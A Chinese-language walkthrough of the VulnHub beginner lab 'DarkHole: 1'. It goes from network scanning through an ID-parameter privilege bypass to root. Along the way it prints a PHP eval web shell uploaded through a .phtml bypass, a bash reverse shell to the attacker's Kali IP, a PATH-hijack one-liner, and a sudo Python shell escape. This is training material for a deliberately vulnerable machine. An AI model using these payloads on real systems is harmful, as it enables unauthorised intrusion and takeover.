DarkHole: 1

NoCirc1e發表於2024-05-05

靶機描述

靶機地址:https://download.vulnhub.com/darkhole/DarkHole.zip

Description

Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force

資訊收集

利用arp-scan -l命令掃描靶機IP

arp-scan -l

image.png
使用nmap掃描開放埠

nmap -sV -p- 192.168.75.169

image.png
發現開放了22和80埠

WEB服務測試

訪問80埠,點選login,進入登入頁面
image.png
image.png
註冊一個賬號(test:123456)
image.png
image.png
註冊成功後,登入系統,僅有更新個人資訊和修改密碼功能
image.png

越權

抓包分析一下,有一個ID引數,我們剛註冊的賬號ID為2,猜測管理員ID為1,修改ID為1放包,嘗試越權修改ID為1的賬號密碼
image.png
image.png
猜測ID為1的賬號使用者名稱為admin,嘗試登入成功,發現檔案上傳功能
image.png

獲取webshell

經過探索後發現可以透過字尾.phtml繞過上傳php指令碼

<?php eval($_REQUEST[8]);?>

image.png
使用蟻劍連線,獲取到shell
image.png

反彈Shell

利用bash,反彈一個shell給Kali

bash -c 'bash -i >& /dev/tcp/192.168.75.150/9999 0>&1'

image.png

提權

如圖所示共三個使用者具有 /bin/bash,root,darkhole,john

cat /etc/passwd | grep "/bin/bash"

image.png
檢視一下系統中的檔案
image.png
發現一個可疑檔案toto,是個二進位制檔案,執行一下
image.png
發現是二進位制檔案是id的副本,它以使用者john的身份執行,那可以建立一個具有相同名稱的自定義二進位制檔案將目錄匯出到PATH(從前往後順序匹配),這樣使用id命令時就會優先匹配此路徑下的id檔案,執行toto檔案使用john身份呼叫id命令時就會獲得shell

echo 'bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH

image.png
切換到了john使用者,獲取一個互動式的shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

image.png
檢視系統檔案
image.png檢視之前發現的password,應該是john的密碼,檢視下許可權
image.png
發現會以root身份執行file.py,並且我們有許可權對其進行更改,那就直接寫入shell

echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

image.png
獲得root許可權,檢視flag
image.png